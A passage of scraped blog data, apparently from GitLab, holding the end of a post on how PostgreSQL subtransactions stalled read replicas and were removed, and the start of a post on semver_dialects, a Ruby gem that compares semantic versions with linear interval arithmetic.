sandwiches.\n\nSuboverflowing (is that a word?) can bog down performance because as\nLaurenz said, \"Other transactions have to update `pg_subtrans` to\nregister subtransactions, and you can see in the perf output how they\nvie for lightweight locks with the readers.\"\n\n### Hunting for nested subtransactions\n\nLaurenz's blog post suggested that we might be using too many\nsubtransactions in one transaction. At first, we suspected we might be\ndoing this in some of our expensive background jobs, such as project\nexport or import. However, while we did see numerous `SAVEPOINT` calls\nin these jobs, we didn't see an unusual degree of nesting in local\ntesting.\n\nTo isolate the cause, we started by [adding Prometheus metrics to track\nsubtransactions as a Prometheus metric by model](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/66477).\nThis led to nice graphs as the following:\n\n![subtransactions plot](https://about.gitlab.com/images/blogimages/postgresql-subtransactions/subtransactions-plot.png)\n\nWhile this was helpful in seeing the rate of subtransactions over time,\nwe didn't see any obvious spikes that occurred around the time of the\ndatabase stalls. Still, it was possible that suboverflow was happening.\n\nTo see if that was happening, we [instrumented our application to track\nsubtransactions and log a message whenever we detected more than 32\n`SAVEPOINT` calls in a given transaction](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/67918). Rails\nmakes it possible for the application to subscribe to all of its SQL\nqueries via `ActiveSupport` notifications. Our instrumentation looked\nsomething like this, simplified for the purposes of discussion:\n\n```ruby\nActiveSupport::Notifications.subscribe('sql.active_record') do |event|\n  sql = event.payload.dig(:sql).to_s\n  connection = event.payload[:connection]\n  manager = connection&.transaction_manager\n\n  context = manager.transaction_context\n  return if context.nil?\n\n  if sql.start_with?('BEGIN')\n    context.set_depth(0)\n  elsif cmd.start_with?('SAVEPOINT', 'EXCEPTION')\n    context.increment_savepoints\n  elsif cmd.start_with?('ROLLBACK TO SAVEPOINT')\n    context.increment_rollbacks\n  elsif cmd.start_with?('RELEASE SAVEPOINT')\n    context.increment_releases\n  elsif sql.start_with?('COMMIT', 'ROLLBACK')\n    context.finish_transaction\n  end\nend\n```\n\nThis code looks for the key SQL commands that initiate transactions and\nsubtransactions and increments counters when they occurred. After a\n`COMMIT,` we log a JSON message that contained the backtrace and the\nnumber of `SAVEPOINT` and `RELEASES` calls. For example:\n\n```json\n{\n  \"sql\": \"/*application:web,correlation_id:01FEBFH1YTMSFEEHS57FA8C6JX,endpoint_id:POST /api/:version/projects/:id/merge_requests/:merge_request_iid/approve*/ BEGIN\",\n  \"savepoints_count\": 1,\n  \"savepoint_backtraces\": [\n    [\n      \"app/models/application_record.rb:75:in `block in safe_find_or_create_by'\",\n      \"app/models/application_record.rb:75:in `safe_find_or_create_by'\",\n      \"app/models/merge_request.rb:1859:in `ensure_metrics'\",\n      \"ee/lib/analytics/merge_request_metrics_refresh.rb:11:in `block in execute'\",\n      \"ee/lib/analytics/merge_request_metrics_refresh.rb:10:in `each'\",\n      \"ee/lib/analytics/merge_request_metrics_refresh.rb:10:in `execute'\",\n      \"ee/app/services/ee/merge_requests/approval_service.rb:57:in `calculate_approvals_metrics'\",\n      \"ee/app/services/ee/merge_requests/approval_service.rb:45:in `block in create_event'\",\n      \"ee/app/services/ee/merge_requests/approval_service.rb:43:in `create_event'\",\n      \"app/services/merge_requests/approval_service.rb:13:in `execute'\",\n      \"ee/app/services/ee/merge_requests/approval_service.rb:14:in `execute'\",\n      \"lib/api/merge_request_approvals.rb:58:in `block (3 levels) in \u003Cclass:MergeRequestApprovals>'\",\n    ]\n  \"rollbacks_count\": 0,\n  \"releases_count\": 1\n}\n```\n\nThis log message contains not only the number of subtransactions via\n`savepoints_count`, but it also contains a handy backtrace that\nidentifies the exact source of the problem. The `sql` field also\ncontains [Marginalia comments](https://github.com/basecamp/marginalia)\nthat we tack onto every SQL query. These comments make it possible to\nidentify what HTTP request initiated the SQL query.\n\n### Taking a hard look at PostgreSQL\n\nThe new instrumentation showed that while the application regularly used\nsubtransactions, it never exceeded 10 nested `SAVEPOINT` calls.\n\nMeanwhile, [Nikolay Samokhvalov](https://gitlab.com/NikolayS), founder\nof [Postgres.ai](https://postgres.ai/), performed a battery of tests [trying to replicate the problem](https://gitlab.com/postgres-ai/postgresql-consulting/tests-and-benchmarks/-/issues/20).\nHe replicated Laurenz's results when a single transaction exceeded 64\nsubtransactions, but that wasn't happening here.\n\nWhen the database stalls occurred, we observed a number of patterns:\n\n1. Only the replicas were affected; the primary remained unaffected.\n1. There was a long-running transaction, usually relating to\nPostgreSQL's autovacuuming, during the time. The stalls stopped quickly after the transaction ended.\n\nWhy would this matter? Analyzing the PostgreSQL source code, Senior\nSupport Engineer [Catalin Irimie](https://gitlab.com/cat) [posed an\nintriguing question that led to a breakthrough in our understanding](https://gitlab.com/gitlab-org/gitlab/-/issues/338410#note_652056284):\n\n> Does this mean that, having subtransactions spanning more than 32 cache pages, concurrently, would trigger the exclusive SubtransControlLock because we still end up reading them from the disk?\n\n### Reproducing the problem with replicas\n\nTo answer this, Nikolay immediately modified his test [to involve replicas and long-running transactions](https://gitlab.com/postgres-ai/postgresql-consulting/tests-and-benchmarks/-/issues/21#note_653453774). Within a day, he reproduced the problem:\n\n![Nikolay experiment](https://about.gitlab.com/images/blogimages/postgresql-subtransactions/nikolay-experiment.png)\n\nThe image above shows that transaction rates remain steady around\n360,000 transactions per second (TPS). Everything was proceeding fine\nuntil the long-running transaction started on the primary. Then suddenly\nthe transaction rates plummeted to 50,000 TPS on the replicas. Canceling\nthe long transaction immediately caused the transaction rate to return.\n\n### What is going on here?\n\nIn his blog post, Nikolay called the problem [Subtrans SLRU overflow](https://v2.postgres.ai/blog/20210831-postgresql-subtransactions-considered-harmful#problem-4-subtrans-slru-overflow).\nIn a busy database, it's possible for the size of the subtransaction log\nto grow so large that the working set no longer fits into memory. This\nresults in a lot of cache misses, which in turn causes a high amount of\ndisk I/O and CPU as PostgreSQL furiously tries to load data from disk to\nkeep up with all the lookups.\n\nAs mentioned earlier, the subtransaction cache holds a mapping of the\nsubXID to the parent XID. When PostgreSQL needs to look up the subXID,\nit calculates in which memory page this ID would live, and then does a\nlinear search to find in the memory page. If the page is not in the\ncache, it evicts one page and loads the desired one into memory. The\ndiagram below shows the memory layout of the subtransaction SLRU.\n\n![Subtrans SLRU](https://about.gitlab.com/images/blogimages/postgresql-subtransactions/subtrans-slru.png)\n\nBy default, each SLRU page is an 8K buffer holding 4-byte parent\nXIDs. This means 8192/4 = 2048 transaction IDs can be stored in each\npage.\n\nNote that there may be gaps in each page. PostgreSQL will cache XIDs as\nneeded, so a single XID can occupy an entire page.\n\nThere are 32 (`NUM_SUBTRANS_BUFFERS`) pages, which means up to 65K\ntransaction IDs can be stored in memory. Nikolay demonstrated that in a\nbusy system, it took about 18 seconds to fill up all 65K entries. Then\nperformance dropped off a cliff, making the database replicas unusable.\n\nTo our surprise, our experiments also demonstrated that a single\n`SAVEPOINT` during a long-transaction [could initiate this problem if\nmany writes also occurred simultaneously](https://gitlab.com/gitlab-org/gitlab/-/issues/338865#note_655312474). That\nis, it wasn't enough just to reduce the frequency of `SAVEPOINT`; we had\nto eliminate them completely.\n\n#### Why does a single `SAVEPOINT` cause problems?\n\nTo answer this question, we need to understand what happens when a\n`SAVEPOINT` occurs in one query while a long-running transaction is\nrunning.\n\nWe mentioned earlier that PostgreSQL needs to decide whether a given row\nis visible to support a feature called [multi-version concurrency control](https://www.postgresql.org/docs/current/mvcc.html), or MVCC for\nshort. It does this by storing hidden columns, `xmin` and `xmax`, in\neach tuple.\n\n`xmin` holds the XID of when the tuple was created, and `xmax` holds the\nXID when it was marked as dead (0 if the row is still present). In\naddition, at the beginning of a transaction, PostgreSQL records metadata\nin a database snapshot. Among other items, this snapshot records the\noldest XID and the newest XID in its own `xmin` and `xmax` values.\n\nThis metadata helps [PostgreSQL determine whether a tuple is visible](https://www.interdb.jp/pg/pgsql05.html).\nFor example, a committed XID that started before `xmin` is definitely\nvisible, while anything after `xmax` is invisible.\n\n### What does this have to do with long transactions?\n\nLong transactions are bad in general because they can tie up\nconnections, but they can cause a subtly different problem on a\nreplica. On the replica, a single `SAVEPOINT` during a long transaction\ncauses a snapshot to suboverflow. Remember that dragged down performance\nin the case where we had more than 64 subtransactions.\n\nFundamentally, the problem happens because a replica behaves differently\nfrom a primary when creating snapshots and checking for tuple\nvisibility. The diagram below illustrates an example with some of the\ndata structures used in PostgreSQL:\n\n![Diagram of subtransaction handling in replicas](https://about.gitlab.com/images/blogimages/postgresql-subtransactions/pg-replica-subtransaction-diagram.png)\n\nOn the top of this diagram, we can see the XIDs increase at the\nbeginning of a subtransaction: the `INSERT` after the `BEGIN` gets 1,\nand the subsequent `INSERT` in `SAVEPOINT` gets 2. Another client comes\nalong and performs a `INSERT` and `SELECT` at XID 3.\n\nOn the primary, PostgreSQL stores the transactions in progress in a\nshared memory segment. The process array (`procarray`) stores XID 1 with\nthe first connection, and the database also writes that information to\nthe `pg_xact` directory. XID 2 gets stored in the `pg_subtrans`\ndirectory, mapped to its parent, XID 1.\n\nIf a read happens on the primary, the snapshot generated contains `xmin`\nas 1, and `xmax` as 3. `txip` holds a list of transactions in progress,\nand `subxip` holds a list of subtransactions in progress.\n\nHowever, neither the `procarray` nor the snapshot are shared directly\nwith the replica. The replica receives all the data it needs from the\nwrite-ahead log (WAL).\n\nPlaying the WAL back one entry at time, the replica populates a shared data\nstructure called `KnownAssignedIds`. It contains all the transactions in\nprogress on the primary. Since this structure can only hold a limited number of\nIDs, a busy database with a lot of active subtransactions could easily fill\nthis buffer. PostgreSQL made a design choice to kick out all subXIDs from this\nlist and store them in the `pg_subtrans` directory.\n\nWhen a snapshot is generated on the replica, notice how `txip` is\nblank. A PostgreSQL replica treats **all** XIDs as though they are\nsubtransactions and throws them into the `subxip` bucket. That works\nbecause if a XID has a parent XID, then it's a subtransaction. Otherwise, it's a normal transaction. [The code comments\nexplain the rationale](https://gitlab.com/postgres/postgres/blob/9f540f840665936132dd30bd8e58e9a67e648f22/src/backend/storage/ipc/procarray.c#L1665-L1681).\n\nHowever, this means the snapshot is missing subXIDs, and that could be\nbad for MVCC. To deal with that, the [replica also updates `lastOverflowedXID`](https://gitlab.com/postgres/postgres/blob/9f540f840665936132dd30bd8e58e9a67e648f22/src/backend/storage/ipc/procarray.c#L3176-L3182):\n\n```c\n * When we throw away subXIDs from KnownAssignedXids, we need to keep track of\n * that, similarly to tracking overflow of a PGPROC's subxids array.  We do\n * that by remembering the lastOverflowedXID, ie the last thrown-away subXID.\n * As long as that is within the range of interesting XIDs, we have to assume\n * that subXIDs are missing from snapshots.  (Note that subXID overflow occurs\n * on primary when 65th subXID arrives, whereas on standby it occurs when 64th\n * subXID arrives - that is not an error.)\n```\n\nWhat is this \"range of interesting XIDs\"? We can see this in [the code below](https://gitlab.com/postgres/postgres/blob/4bf0bce161097869be5a56706b31388ba15e0113/src/backend/storage/ipc/procarray.c#L1702-L1703):\n\n```c\nif (TransactionIdPrecedesOrEquals(xmin, procArray->lastOverflowedXid))\n    suboverflowed = true;\n```\n\nIf `lastOverflowedXid` is smaller than our snapshot's `xmin`, it means\nthat all subtransactions have completed, so we don't need to check for\nsubtransactions. However, in our example:\n\n1. `xmin` is 1 because of the transaction.\n2. `lastOverflowXid` is 2 because of the `SAVEPOINT`.\n\nThis means `suboverflowed` is set to `true` here, which tells PostgreSQL\nthat whenever a XID needs to be checked, check to see if it has a parent\nXID. Remember that this causes PostgreSQL to:\n\n1. Look up the subXID for the parent XID in the SLRU cache.\n1. If this doesn't exist in the cache, fetch the data from `pg_trans`.\n\nIn a busy system, the requested XIDs could span an ever-growing range of\nvalues, which could easily exhaust the 64K entries in the SLRU\ncache. This range will continue to grow as long as the transaction runs;\nthe rate of increase depends on how many updates are happening on the\nprmary. As soon as the transaction terminates, the `suboverflowed` state\ngets set to `false`.\n\nIn other words, we've replicated the same conditions as we saw with 64\nsubtransactions, only with a single `SAVEPOINT` and a long transaction.\n\n### What can we do about getting rid of Nessie?\n\nThere are three options:\n\n1. Eliminate `SAVEPOINT` calls completely.\n1. Eliminate all long-running transactions.\n1. Apply [Andrey Borodin's patches to PostgreSQL and increase the subtransaction cache](https://www.postgresql.org/message-id/flat/494C5E7F-E410-48FA-A93E-F7723D859561%40yandex-team.ru#18c79477bf7fc44a3ac3d1ce55e4c169).\n\nWe chose the first option because most uses of subtransaction could be\nremoved fairly easily. There were a [number of approaches](https://gitlab.com/groups/gitlab-org/-/epics/6540) we took:\n\n1. Perform updates outside of a subtransaction. Examples: [1](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/68471), [2](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/68690)\n1. Rewrite a query to use a `INSERT` or an `UPDATE` with an `ON CONFLICT` clause to deal with duplicate constraint violations. Examples: [1](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/68433), [2](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/69240), [3](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/68509)\n1. Live with a non-atomic `find_or_create_by`. We used this approach sparingly. Example: [1](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/68649)\n\nIn addition, we added [an alert whenever the application used a a single `SAVEPOINT`](https://gitlab.com/gitlab-com/runbooks/-/merge_requests/3881):\n\n![subtransaction alert](https://about.gitlab.com/images/blogimages/postgresql-subtransactions/subtransactions-alert-example.png)\n\nThis had the side benefit of flagging a [minor bug](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/70889).\n\n#### Why not eliminate all long-running transactions?\n\nIn our database, it wasn't practical to eliminate all long-running\ntransactions because we think many of them happened via [database\nautovacuuming](https://www.postgresql.org/docs/current/runtime-config-autovacuum.html),\nbut [we're not able to reproduce this yet](https://gitlab.com/postgres-ai/postgresql-consulting/tests-and-benchmarks/-/issues/21#note_669698320).\nWe are working on partitioning the tables and sharding the database, but this is a much more time-consuming problem\nthan removing all subtransactions.\n\n#### What about the PostgreSQL patches?\n\nAlthough we tested Andrey's PostgreSQL patches, we did not feel comfortable\ndeviating from the official PostgreSQL releases. Plus, maintaining a\ncustom patched release over upgrades would add a significant maintenance\nburden for our infrastructure team. Our self-managed customers would\nalso not benefit unless they used a patched database.\n\nAndrey's patches do two main things:\n\n1. Allow administrators to change the SLRU size to any value.\n1. Adds an [associative cache](https://www.youtube.com/watch?v=A0vR-ks3hsQ).\nto make it performant to use a large cache value.\n\nRemember that the SLRU cache does a linear search for the desired\npage. That works fine when there are only 32 pages to search, but if you\nincrease the cache size to 100 MB the search becomes much more\nexpensive. The associative cache makes the lookup fast by indexing pages\nwith a bitmask and looking up the entry with offsets from the remaining\nbits. This mitigates the problem because a transaction would need to be\nseveral magnitudes longer to cause a problem.\n\nNikolay demonstrated that the `SAVEPOINT` problem disappeared as soon as\nwe increased the SLRU size to 100 MB with those patches. With a 100 MB\ncache, PostgreSQL can cache 26.2 million IDs (104857600/4), far more\nthan the measely 65K.\n\nThese [patches are currently awaiting review](https://postgres.ai/blog/20210831-postgresql-subtransactions-considered-harmful#ideas-for-postgresql-development),\nbut in our opinion they should be given high priority for PostgreSQL 15.\n\n### Conclusion\n\nSince removing all `SAVEPOINT` queries, we have not seen Nessie rear her\nhead again. If you are running PostgreSQL with read replicas, we\nstrongly recommend that you also remove *all* subtransactions until\nfurther notice.\n\nPostgreSQL is a fantastic database, and its well-commented code makes it\npossible to understand its limitations under different configurations.\n\nWe would like to thank the GitLab community for bearing with us while we\niron out this production issue.\n\nWe are also grateful for the support from [Nikolay\nSamokhvalov](https://gitlab.com/NikolayS) and [Catalin\nIrimie](https://gitlab.com/cat), who contributed to understanding where our\nLoch Ness Monster was hiding.\n\nCover image by [Khadi Ganiev](https://www.istockphoto.com/portfolio/Ganiev?mediatype=photography) on [iStock](https://istock.com), licensed under [standard license](https://www.istockphoto.com/legal/license-agreement)\n",[1268,2704,11037],{"slug":17186,"featured":6,"template":678},"why-we-spent-the-last-month-eliminating-postgresql-subtransactions","content:en-us:blog:why-we-spent-the-last-month-eliminating-postgresql-subtransactions.yml","Why We Spent The Last Month Eliminating Postgresql Subtransactions","en-us/blog/why-we-spent-the-last-month-eliminating-postgresql-subtransactions.yml","en-us/blog/why-we-spent-the-last-month-eliminating-postgresql-subtransactions",{"_path":17192,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":17193,"content":17198,"config":17203,"_id":17205,"_type":16,"title":17206,"_source":17,"_file":17207,"_stem":17208,"_extension":20},"/en-us/blog/generic-semantic-version-processing",{"title":17194,"description":17195,"ogTitle":17194,"ogDescription":17195,"noIndex":6,"ogImage":12013,"ogUrl":17196,"ogSiteName":1180,"ogType":1181,"canonicalUrls":17196,"schema":17197},"SemVer versioning: how we handled it with linear interval arithmetic","SemVer versioning made it difficult to automate processing. We turned to linear interval arithmetic to come up with a unified, language-agnostic semantic versioning approach.","https://about.gitlab.com/blog/generic-semantic-version-processing","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"SemVer versioning: how we handled it with linear interval arithmetic\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Julian Thome\"}],\n        \"datePublished\": \"2021-09-28\",\n      }",{"title":17194,"description":17195,"authors":17199,"heroImage":12013,"date":17200,"body":17201,"category":674,"tags":17202},[2948],"2021-09-28","\nThe [semantic versioning (SemVer) specification](https://semver.org/) can be\nconsidered the de-facto standard for tracking software states during its\nevolution. Unfortunately, in reality many languages/ecosystems practice \"SemVer versioning\" and have not adopted\nthe standard as-is; instead we can find many different semantic versioning\nflavors that are not necessarily compatible with the original SemVer spec. SemVer Versioning has\nled to the creation of a variety of different semantic versioning schemes.\n\nGitLab provides a [Dependency Scanning (DS)](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/)\nfeature that automatically detects vulnerabilities in the dependencies of a\nsoftware project for a variety of different languages. DS relies on the\n[GitLab Advisory Database](https://gitlab.com/gitlab-org/security-products/gemnasium-db)\nthat is updated on a daily basis providing information about\nvulnerable packages that is expressed in the package-specific (native)\nsemantic version dialect. GitLab also recently launched an [Open Source Edition](https://gitlab.com/gitlab-org/advisories-community) of the GitLab Advisory Database.\n\nAt GitLab we use a semi-automated process for advisory generation: we extract\nadvisory data that includes package names and vulnerable versions from\ndata-sources such as [NVD](https://nvd.nist.gov/) and generate advisories that\nadhere to the GitLab advisory format before they are curated and stored in our\n[GitLab Advisory Database](https://gitlab.com/gitlab-org/security-products/gemnasium-db).\n\nThe plethora of SemVer versioning in the wild posed a major\nchallenge for the level of automation we could apply in the advisory generation\nprocess: the different semantic version dialects prevented us from building\ngeneric mechanisms around version matching, version verification (i.e., the\nprocess of verifying whether or not versions are available on the relevant package\nregistry), fixed version inference etc. Moreover, since advisory generation\nrequires us to extract and update advisory data on scale from data-sources with\nhundreds of thousands vulnerability entries, translating and/or verifying\nversions by hand is not a viable, scalable solution.\n\nHaving a generic method to digest and process a variety of different SemVer versioning dialects was an important building block for automating large parts of the advisory generation process. This led to the development of\n[semver_dialects](https://gitlab.com/gitlab-org/vulnerability-research/foss/semver_dialects), a\nutility that helps processing semantic versions in a generic, language-agnostic manner which\nhas been recently open-sourced (MIT) and [published on rubygems.org](https://rubygems.org/gems/semver_dialects).\n\n## Understand the SemVer spec\n\nThe SemVer spec is the de-facto standard for tracking states of software projects during their evolution\nby associating unique, comparable version numbers to distinct states, and by\nencoding semantic properties into the semantic version strings so that a version\nchange implicitly conveys information about the nature of the change.  \n\nA semantic version consists of a prefix (version core) and a suffix that hold\npre-release and/or build information. A version core consists of three numeric\ncomponents that are delimited by `.`:\n\n* major: backwards-incompatible changes\n* minor: new backwards-compatible functionality\n* patch: backwards-compatible bug fixes\n\nConsidering a software project using SemVer, with two releases `1.0.0` and\n`1.0.1`, by just looking at the change applied to the semantic version strings,\nit is clear that `1.0.1` is a newer (more recent) release of the software, whereas version\n`1.0.0` is an older release. In addition, the version number `1.0.1`\nrepresents an improved state of the software as compared to version `1.0.0` which contained a bug\nthat has been fixed in version `1.0.1`. This fix is signalled by the higher number of the patch version component.\n\nSemantic version processing is particularly useful in the context of [Dependency Scanning (DS)](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/). DS is the process of automatically detecting (and potentially fixing)\nvulnerabilities related to the dependencies of a software project: dependencies\nof a software project are checked against a set of configuration files (so\ncalled advisories) that contain information about vulnerable dependencies;\nadvisories usually include the versions of the vulnerable dependency.\nVulnerable versions are usually expressed in terms of version intervals: for example [this out-of-bounds read vulnerability for the Python tensorflow package](https://nvd.nist.gov/vuln/detail/CVE-2021-29560) contains information about the vulnerable version by listing the four version intervals below:\n\n1. up to 2.1.4\n1. from 2.2.0 up to 2.2.3\n1. from 2.3.0 up to 2.3.3\n1. from 2.4.0 up to 2.4.2\n\nWhile SemVer is very concise and clear about the syntax and semantic of\nsemantic versions, it does not specify how to express and represent semantic\nversion constraints. In addition, SemVer is purposefully simplistic to foster\nits adoption. In practice it seems as if many ecosystems required features that\ngo beyond SemVer which led to the development of many SemVer versioning flavours as well\nas a variety of different native constraint matching syntaxes, some of which\ndeviate from the official SemVer specification.  Depending on the ecosystem you\nare working with, the same semantic version string may be treated/interpreted\ndifferently: for example both Maven and pip/PyPI treat versions `1.2.3.SP`\ndifferently because pip/PyPI lacks the notion of an `SP` post release. Apart\nfrom that, `1.2.3.SP` cannot be considered a valid semantic version according\nto the SemVer spec.\n\nToday we have a variety of different semantic versioning schemes:\n\n- `gem`: [gem requirement](https://guides.rubygems.org/specification-reference/#add_runtime_dependency)\n- `maven`: [Maven Dependency Version Requirement Specification](https://maven.apache.org/pom.html#Dependency_Version_Requirement_Specification)\n- `npm`: [node-semver](https://github.com/npm/node-semver#ranges)\n- `php`: [PHP Composer version constraints](https://getcomposer.org/doc/articles/versions.md#writing-version-constraints)\n- `pypi`: [PEP440](https://www.python.org/dev/peps/pep-0440/#version-specifiers)\n- `go`: [go semver](https://godoc.org/golang.org/x/tools/internal/semver)\n- `nuget`: [NuGet semver](https://docs.microsoft.com/en-us/nuget/concepts/package-versioning)\n- `conan`: [node-semver flavour](https://github.com/npm/node-semver#ranges)\n\nThis SemVer versioning fragmentation limited the degree of automation we could apply to our\nadvisory extraction/generation process. This limitation motivated the\ndevelopment of a methodology and tool [semver_dialects](https://gitlab.com/gitlab-org/vulnerability-research/foss/semver_dialects) that helps to digest and process semantic versions in a language agnostic way and, hence, helps to reduce the manual advisory curation effort.\n\nBelow, you can see an excerpt of the advisory information that is extracted and\ngenerated by our semi-automated advisory generation process:\n\n```yaml\n# ...\naffected_range: \">=1.9,\u003C=2.7.1||==2.8\"\nfixed_versions:\n- \"2.7.2\"\n- \"2.8.1\"\nnot_impacted: \"All versions before 1.9, all versions after 2.7.1 before 2.8, all versions\n  after 2.8\"\nsolution: \"Upgrade to versions 2.7.2, 2.8.1 or above.\"\n# ...\n```\n\nIn the excerpt above:\n\n- `affected_range` denotes the range of affected versions which is the machine-readable, native syntax used by the package manager/registry (in this case pypi).\n- `fixed_versions` denotes the concrete versions when the vulnerability has been fixed.\n- `not_impacted` provides a textual description of the versions that are not affected.\n- `solution` provides information about how to remediate the vulnerability.\n\nTo be able to extract and generate advisories like the one illustrated\nabove in a language/ecosystem agnostic way, we implemented and open-sourced a\ngeneric semantic version representation and processing approach called\nsemver_dialects.\n\nIn the advisory excerpt above, the `affected_range` field contains the version\nconstraints in the native constraint syntax (in this case PyPI for Python);\n`fixed_versions` can be inferred by inverting the `affected_version` (i.e.,\nnon-affected versions) and by selecting the first available  version that falls\ninto the range of non-affected versions from the native package registry; this step\nrequires our approach to be able to parse the native semantic version syntax.\n\nIn order to deal with SemVer versioning and automatically process and generate the fields according to this\ndescription, our [semver_dialects](https://gitlab.com/gitlab-org/vulnerability-research/foss/semver_dialects) implementation had to satisfy the following requirements:\n\n1. Provide a unified interface to the language specific dialects.\n1. Match semantic versions in a language agnostic way.\n1. Invert ranges.\n1. Cope with scattered, non-consecutive ranges.\n1. Parse and produce different version syntaxes.\n1. Parse and match versions/constraints in a best-effort manner.\n\n## SemVer versioning representation\n\nFirst, we need a generic representation of a semantic version to start with. We\nassume that a semantic version is composed of prefix and suffix where the\nprefix contains segments for major, minor and patch version components as defined in the\nSemVer specification. The suffix may hold additional information about pre/post\nreleases etc. As illustrated below, the major, minor and patch prefix segments\ncan be accessed by means of the corresponding methods.\n\n``` ruby\ns1 = SemanticVersion.new('1.2.3')\nputs \"segments: #{s1}\"\n# segments: 1:2:3\nputs \"major #{s1.major}\"\n# major 1\nputs \"minor #{s1.minor}\"\n# minor 2\nputs \"patch #{s1.patch}\"\n# patch 3\n```\n\nWe cannot generally assume that all provided versions we would like to process\nfully adhere to the SemVer spec which requires a version prefix (core) to\nconsist of three segments: major, minor and patch. Hence, per default, we\nremove redundant, trailing zeros from the prefix to ensure that\n`2.0.0`, `2.0` and `2` are considered identical.\n\n[Semver_dialects](https://gitlab.com/gitlab-org/vulnerability-research/foss/semver_dialects) translates language specific version suffixes into numeric values. This process\ncan be described as version normalization.  For example the Maven (pre-)release\ncandidate version `2.0.0.RC1` can be translated to a numeric representation\nwith prefix: `2` and suffix `-1:1` by mapping `RC` to a numeric value (in this\nexample `-1`) and, thus, rendering it numerically comparable.\n\nAfter this normalization step, semantic version matching for two versions `vA`\nand `vB` can be implemented by simply numerically comparing their segments in a\npairwise fashion.  For unknown suffices that are not mappable to the numeric\ndomain, we use lexical matching as a default fallback strategy.\n\nIn summary, comparing two semantic versions is a two-step process:\n\n1. Normalization: Extend both semantic versions to have the same prefix length and suffix\n   lengths by appending zeros.\n1. Comparison: Iterate over segments and compare each of them numerically.\n\nFor example, after normalizing the versions `2.0.0.RC1` and `2.0.0` to `2:-1:1`\nand `2:0:0`, respectively, we can iterate over the segments (delimited by\n`:` in the example) which we can compare numerically to successfully identify\n`2:-1:1` as being the smaller (release-candidate) version in comparison to\n`2:0:0`.\n\n## Constraint syntax - everything is a linear interval\n\nTranslating semantic versions into a generic representation makes them\nnumerically comparable which is already useful but not sufficient to express SemVer versioning constraints in a language-agnostic fashion.\n\nFor representing semantic version constraints in a generic way,\nwe rely on linear intervals.  For the purpose of this blog, we define an interval as an ordered pair of two\nsemantic versions which we are referring to as lower and upper\nbounds (or cuts). For the sake of simplicity, for the remainder of\nthis section we will use simple integers as examples for lower and upper bounds, respectively.\n\nLinear intervals capture semantic version ranges symbolically which makes them\nvery versatile and space efficient. At the same time, we can rely on\nwell-established mathematical models borrowed from linear interval arithmetic\nthat enable us to translate/express any type of constraint in terms of\nmathematical set operations on intervals.\n\nIn the table below you can find all the different types of intervals we\nconsidered to model semantic version constraints and a corresponding\ndescription where `L` stands for left, `R` stands for right with `a` and `b`\nbeing the lower and upper bounds, respectively.\n\n| Type of interval | Example                    | Description                               |\n| ---------------- | ---------------------------| ----------------------------------------- |\n| LR-closed        |  `[a,b]: x >= a, x \u003C= b`   | all versions starting from a until b      |\n| L-open R-closed  |  `(a,b]: x > a, x \u003C= b`    | all versions after a until b              |\n| L-closed R-open  |  `[a,b): x >= a, x \u003C b`    | all versions starting from a before b     |\n| LR-open          |  `(a,b): x > a, x \u003C b`     | all versions between a and b              |\n| L-unbounded      |  `(-inf,b]: x \u003C= b`        | all versions until b                      |\n| R-unbounded      |  `[a,+inf): x >= a`        | all versions starting from a              |\n\nBelow you can see example output for the different types of ranges from\n[semver_dialects](https://gitlab.com/gitlab-org/vulnerability-research/foss/semver_dialects) where we are using the `VersionParser` component to generate\nlinear intervals from version constraints where `,` denotes a logical\nconjunction: e.g., `>=1, \u003C=2` denotes the set of integers that are greater than or equal\nto 1 *and* smaller than or equal to two, i.e., all integers/versions numbers starting from 1 until 2.\n\n``` ruby\nputs VersionParser.parse(\">=1, \u003C=2\")\n# [1,2]\nputs VersionParser.parse(\">1, \u003C=2\")\n# (1,2]\nputs VersionParser.parse(\">=1, \u003C2\")\n# [1,2)\nputs VersionParser.parse(\">1, \u003C2\")\n# (1,2)\nputs VersionParser.parse(\"\u003C=2\")\n# (-inf,2]\nputs VersionParser.parse(\">=1\")\n# [1,+inf)\n```\n\nFor solving SemVer versioning constraints, we use linear interval arithmetic\nwhich is explained in-depth in the text-book \"[Introduction to Interval\nAnalysis](https://epubs.siam.org/doi/book/10.1137/1.9780898717716?mobileUi=0&).\"\n\nAs mentioned earlier, for our purposes, we define an interval as an ordered\npair of two semantic versions (lower and upper bound) that represents the set\nof all those semantic versions that are enclosed by lower and upper bounds.\nGiven that intervals are sets, we can perform standard set operations on\nthem.\n\nIn the context of advisory generation, there are three operations we require to\nsatisfy all the requirements we defined earlier: Intersection, Union and Complement.\nThe operations are explained in more detail in the sections below.\n\nFor the remainder of this section, we explain interval operations, using two\nexample intervals `X` and `Y` with `X=[x_l, x_u]` and `Y=[y_l, y_u]` where\n`x_l`, `x_u` denote the lower and upper bounds for `X`, and `y_l`, `y_u` denote\nthe lower and upper bounds for `Y`, respectively. In addition, we are using the\n`min` and `max` functions, where `max(a,b)` returns the largest and `min(a,b)`\nreturns the smallest value of the parameters `a` and `b`; the ∅ symbol denotes\nthe empty set.\n\n### Intersection\n\nThe recipe below illustrates how the intersection (`X` ∩ `Y`) can be computed.\n\n`X` ∩ `Y` = if `X` and `Y` have points in common `[max(x_l,y_l), min(x_u,y_u)]` else ∅\n\nIntuitively, the intersection extracts the overlap (if any) from the two\nintervals `X` and `Y`.\n\nThe code snippet below shows how the intersection is computed in [semver_dialects](https://gitlab.com/gitlab-org/vulnerability-research/foss/semver_dialects) for the two examples:\n\n1. `[2,5]` ∩ `[3,10]`\n1. `[2,5]` ∩ `[7,10]`\n\n``` ruby\n# 1. [2,5] ∩ [3,10] = [3, 5]\nputs VersionParser.parse(\">=2, \u003C=5\").intersect(VersionParser.parse(\">=3, \u003C=10\"))\n# [3,5]\n\n# 2. [2,5] ∩ [7,10] = ∅\nputs 